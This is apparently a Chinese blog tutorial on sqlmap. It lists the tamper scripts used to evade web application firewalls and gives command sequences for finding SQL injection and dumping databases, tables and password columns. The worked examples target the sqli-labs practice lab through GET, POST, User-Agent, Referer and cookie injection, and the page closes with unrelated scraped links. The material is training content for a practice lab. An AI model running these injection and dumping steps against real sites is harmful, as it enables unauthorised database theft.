sqlmap使用教程(超详细)
脚本信息
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 宽字节注入
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
|
等级
|
解释
|
|
0
|
只显示python错误以及严重信息
|
|
1
|
同时显示基本信息和警告信息
|
|
2
|
同时显示debug信息
|
|
3
|
同时显示注入的pyload
|
|
4
|
同时显示HTTP请求
|
|
5
|
同时显示HTTP相应头
|
|
6
|
同时显示HTTP相应页面
|
选择web服务器的可写目录
我在本地测试,节省时间,我选择2 ,自定义路径,然后把路径输入在下面

执行命令后的返回结果

以下关卡均可用get型的方法,常规注入
step1:sqlmap -u ["URL"] //测试是否存在注入
step2:sqlmap -u ["URL"] -current-db //查询当前数据库
step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表
step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)
step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容
|
GET型
|
关卡
|
类型
|
|
sql-labs-less1
|
GET单引号字符型注入
|
|
|
sql-labs-less2
|
数字型注入
|
|
|
sql-labs-less3
|
有括号的单引号报错注入
|
|
|
sql-labs-less4
|
有括号的双引号报错注入
|
|
|
sql-labs-less5
|
单引号二次注入
|
|
|
sql-labs-less6
|
双引号二次注入
|
|
|
sql-labs-less7
|
文件导入导出
|
|
|
sql-labs-less8
|
布尔型盲注
|
|
|
sql-labs-less9
|
时间型盲注
|
|
|
sql-labs-less10
|
双引号时间盲注
|
sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1

post型:
或者直接

加上post提交的参数

语法:sqlmap -r ["请求包的txt文件"]
sqlmap -r "/root/.sqlmap/post.txt"

sql-labs -less1~sql-labs-less9
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db

获取指定数据库的表名:
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables

获取指定数据库指定表中的字段:
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

获取指定数据库指定表的指定字段的字段内容:
sqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump

sql-labs-less10
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db

提升等级 -level 2
sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-db

sql-labs-less11~less17常规 POST 注入
step1:sqlmap -r ["请求头文本"] //测试是否存在注入
step2:sqlmap -r ["请求头文本"] --current-db //查询当前数据库
step3:sqlmap -r ["请求头文本"] -D ["数据库名"] --tables //查询当前数据库的所有表
step4:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列
step5:sqlmap -r ["请求头文本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容
|
POST
|
关卡
|
类型
|
|
sql-labs-less11
|
基于错误的单引号字符型注入
|
|
|
sql-labs-less12
|
基于错误的双引号字符型注入
|
|
|
sql-labs-less13
|
单引号变形双注入
|
|
|
sql-labs-less14
|
双引号变形双注入
|
|
|
sql-labs-less15
|
Bool型时间延迟单引号盲注
|
|
|
sql-labs-less16
|
Bool型时间延迟双引号盲注
|
|
|
sql-labs-less17
|
更新查询注入
|
|
|
sql-labs-less18
|
Uagent注入
|
|
|
sql-labs-less19
|
Referer注入
|
|
|
sql-labs-less20
|
Cookie注入
|

或者不加 * 号,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入
sqlmap -r "/root/.sqlmap/post.txt" -level 3




sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2


sqlmap使用教程(超详细)的更多相关文章
- exe电子书制作教程(超详细)【申明:来源于网络】
exe电子书制作教程(超详细)[申明:来源于网络] 地址:http://wenku.baidu.com/view/0b046907eff9aef8941e0631.html
- MyCat安装与测试教程 超详细!
MyCat安装与测试教程 超详细! MyCat基础知识 一.什么是MYCAT? 1. 一个彻底开源的,面向企业应用开发的大数据库集群 2. 支持事务.ACID.可以替代MySQL的加强版数据库 3. ...
- Python入门教程 超详细1小时学会Python
Python入门教程 超详细1小时学会Python 作者: 字体:[增加 减小] 类型:转载 时间:2006-09-08我要评论 本文适合有经验的程序员尽快进入Python世界.特别地,如果你掌握Ja ...
- Python入门教程 超详细1小时学会Python
Python入门教程 超详细1小时学会Python 本文适合有经验的程序员尽快进入Python世界.特别地,如果你掌握Java和Javascript,不用1小时你就可以用Python快速流畅地写有用的 ...
- sqlmap基础入门超详细教程
前言: 总算进入了自己喜欢的行业. 要时刻记得当初自己说过的话, 不忘初心. Come on! 资料: 感谢超哥分享的干货.. sqlmap干货点击直达 学习环境: 本次学习使用的是kali集成的s ...
- SQLMap用户手册【超详细】
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sqlmap这么一个url的时候,它会: 1.判断可注入的参数 2.判断可以用那种SQL注 ...
- windows环境下elasticsearch安装教程(超详细)
一.安装jdk ElasticSearch是基于lucence开发的,也就是运行需要java jdk支持.所以要先安装JAVA环境. 由于ElasticSearch 5.x 往后依赖于JDK 1.8的 ...
- Docker实例教程[超详细](一)
Docker Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化.容器是完全使用沙箱机制,相互 ...
- Python入门教程 超详细1小时学会Python(转)
假设我们有这么一项任务:简单测试局域网中的电脑是否连通.这些电脑的ip范围从192.168.0.101到192.168.0.200. 思路:用shell编程.(Linux通常是bash而Windows ...
随机推荐
- 51 nod1067 Bash游戏 V2(sg函数打表)
1067 Bash游戏 V2 1.0 秒 131,072.0 KB 5 分 1级题 有一堆石子共有N个.A B两个人轮流拿,A先拿.每次只能拿1,3,4颗,拿到最后1颗石子的人获胜.假设A B都非 ...
- loj6277 数列分块入门题1
裸题分块. #include <bits/stdc++.h> using namespace std; ],b[],n,m,t1,t2,t3,t4,sq; int main(){ ios: ...
- Python开发坦克大战
Python不仅能开发网站,爬虫数据分析等,他其实也可以写游戏,接下来就给大家分享下坦克大战的代码: PS:很多人在学习Python的过程中,往往因为遇问题解决不了或者没好的教程从而导致自己放弃,为此 ...
- LED Holiday Light -Picking LED Christmas Lights, 4 Things
LED Christmas lights are not very cheap, but you should know that LED lights can be used for more th ...
- [Codechef SSTORY] A Story with Strings - 后缀数组,二分
[Codechef SSTORY] A Story with Strings Description 给定两个字符串,求它们的最长公共子串.如果解不唯一,输出最先在第二个字符串中出现的那个. Solu ...
- java.lang.IndexOutOfBoundsException: Remember that ordinal parameters are 1-based!
问题描述 java.lang.IndexOutOfBoundsException: Remember that ordinal parameters are 1-based! 红色部分报错 for ( ...
- MyBatis使用步骤及原理
主要讲解MyBatis-基本使用步骤 回顾: MyBatis是一个数据持久层(ORM)框架.把实体 类和SQL语句之间建立了映射关系,是一种半自 动化的ORM实现.MyBATIS需要 ...
- pyodbc 一些内容
如果表格里是空的,读出来是会变为None,所以用是否等于None来判断内容是否为空.
- codeforces 1282 E. The Cake Is a Lie (dfs+构造)
链接:https://codeforces.com/contest/1282/problem/E 题意:给的是一张平面图,是一个n边形,每次可以切一刀,切出一个三角形,最终切成n-2个三角形.题目给出 ...
- 松软科技web教程:JavaScript HTML DOM 事件监听器
addEventListener() 方法 实例 添加当用户点击按钮时触发的事件监听器: document.getElementById("myBtn").addEventList ...